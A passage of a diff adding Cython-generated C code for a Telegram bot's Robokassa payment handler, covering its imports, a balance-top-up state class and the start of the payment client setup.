__PYX_ERR(0, 7, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardMarkup, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":8 + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * from aiohttp import web + * from robokassa import HashAlgorithm, Robokassa + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 8, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_3) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":9 + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web # <<<<<<<<<<<<<< + * from robokassa import HashAlgorithm, Robokassa + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_web); + __Pyx_GIVEREF(__pyx_n_s_web); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_web)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiohttp, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_web, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":10 + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + * from robokassa import HashAlgorithm, Robokassa # <<<<<<<<<<<<<< + * + * from config import ( + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_HashAlgorithm); + __Pyx_GIVEREF(__pyx_n_s_HashAlgorithm); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_HashAlgorithm)) __PYX_ERR(0, 10, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Robokassa); + __Pyx_GIVEREF(__pyx_n_s_Robokassa); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Robokassa)) __PYX_ERR(0, 10, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_robokassa, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_HashAlgorithm); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_HashAlgorithm, __pyx_t_3) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Robokassa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Robokassa, __pyx_t_3) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":13 + * + * from config import ( + * ROBOKASSA_ENABLE, # <<<<<<<<<<<<<< + * ROBOKASSA_LOGIN, + * ROBOKASSA_PASSWORD1, + */ + __pyx_t_2 = PyList_New(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_ROBOKASSA_ENABLE); + __Pyx_GIVEREF(__pyx_n_s_ROBOKASSA_ENABLE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_ROBOKASSA_ENABLE)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ROBOKASSA_LOGIN); + __Pyx_GIVEREF(__pyx_n_s_ROBOKASSA_LOGIN); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_ROBOKASSA_LOGIN)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ROBOKASSA_PASSWORD1); + __Pyx_GIVEREF(__pyx_n_s_ROBOKASSA_PASSWORD1); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_ROBOKASSA_PASSWORD1)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ROBOKASSA_PASSWORD2); + __Pyx_GIVEREF(__pyx_n_s_ROBOKASSA_PASSWORD2); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_ROBOKASSA_PASSWORD2)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ROBOKASSA_TEST_MODE); + __Pyx_GIVEREF(__pyx_n_s_ROBOKASSA_TEST_MODE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_ROBOKASSA_TEST_MODE)) __PYX_ERR(0, 13, __pyx_L1_error); + + /* "handlers/payments/robokassa_pay.py":12 + * from robokassa import HashAlgorithm, Robokassa + * + * from config import ( # <<<<<<<<<<<<<< + * ROBOKASSA_ENABLE, + * ROBOKASSA_LOGIN, + */ + __pyx_t_3 = __Pyx_Import(__pyx_n_s_config, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ROBOKASSA_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ROBOKASSA_ENABLE, __pyx_t_2) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ROBOKASSA_LOGIN); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ROBOKASSA_LOGIN, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ROBOKASSA_PASSWORD1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ROBOKASSA_PASSWORD1, __pyx_t_2) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ROBOKASSA_PASSWORD2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ROBOKASSA_PASSWORD2, __pyx_t_2) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ROBOKASSA_TEST_MODE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ROBOKASSA_TEST_MODE, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":20 + * ) + * from database import ( + * add_connection, # <<<<<<<<<<<<<< + * add_payment, + * check_connection_exists, + */ + __pyx_t_3 = PyList_New(5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_add_connection); + __Pyx_GIVEREF(__pyx_n_s_add_connection); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 20, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_add_payment); + __Pyx_GIVEREF(__pyx_n_s_add_payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 20, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_check_connection_exists); + __Pyx_GIVEREF(__pyx_n_s_check_connection_exists); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 20, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_get_key_count); + __Pyx_GIVEREF(__pyx_n_s_get_key_count); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 20, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 20, __pyx_L1_error); + + /* "handlers/payments/robokassa_pay.py":19 + * ROBOKASSA_TEST_MODE, + * ) + * from database import ( # <<<<<<<<<<<<<< + * add_connection, + * add_payment, + */ + __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_3) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_3) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_3) < 0) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":26 + * update_balance, + * ) + * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); + __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 26, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_2) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":27 + * ) + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); + __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 27, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_3) < 0) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":28 + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 28, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":30 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":33 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_robokassa = State() + * waiting_for_payment_confirmation_robokassa = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PEP560_update_bases(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_CalculateMetaclass(NULL, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_Py3MetaclassPrepare(__pyx_t_4, __pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_robokassa_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (__pyx_t_2 != __pyx_t_3) { + if (unlikely((PyDict_SetItemString(__pyx_t_5, "__orig_bases__", __pyx_t_3) < 0))) __PYX_ERR(0, 33, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":34 + * + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_robokassa = State() # <<<<<<<<<<<<<< + * waiting_for_payment_confirmation_robokassa = State() + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_robokassa, __pyx_t_3) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":35 + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_robokassa = State() + * waiting_for_payment_confirmation_robokassa = State() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_3) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":33 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_robokassa = State() + * waiting_for_payment_confirmation_robokassa = State() + */ + __pyx_t_3 = __Pyx_Py3ClassCreate(__pyx_t_4, __pyx_n_s_ReplenishBalanceState, __pyx_t_2, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_3) < 0) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":38 + * + * + * if ROBOKASSA_ENABLE: # <<<<<<<<<<<<<< + * robokassa = Robokassa( + * merchant_login=ROBOKASSA_LOGIN, + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ROBOKASSA_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (__pyx_t_9) { + + /* "handlers/payments/robokassa_pay.py":39 + * + * if ROBOKASSA_ENABLE: + * robokassa = Robokassa( # <<<<<<<<<<<<<< + * merchant_login=ROBOKASSA_LOGIN, + * password1=ROBOKASSA_PASSWORD1, + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Robokassa); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/robokassa_pay.py":40 + * if ROBOKASSA_ENABLE: + * robokassa = Robokassa( + * merchant_login=ROBOKASSA_LOGIN, # <<<<<<<<<<<<<< + * password1=ROBOKASSA_PASSWORD1, + * password2=ROBOKASSA_PASSWORD2, + */ + __pyx_t_4 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ROBOKASSA_LOGIN); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_merchant_login, __pyx_t_5) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/robokassa_pay.py":41 + * robokassa = Robokassa( + * merchant_login=ROBOKASSA_LOGIN, + * password1=ROBOKASSA_PASSWORD1, # <<<<<<<<<<<<<< + * password2=ROBOKASSA_PASSWORD2, + * algorithm=HashAlgorithm.md5, + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ROBOKASSA_PASSWORD1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_password1, __pyx_t_5) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/robokassa_pay.py":42 + * merchant_login=ROBOKASSA_LOGIN, + * password1=ROBOKASSA_PASSWORD1, + * password2=ROBOKASSA_PASSWORD2, # 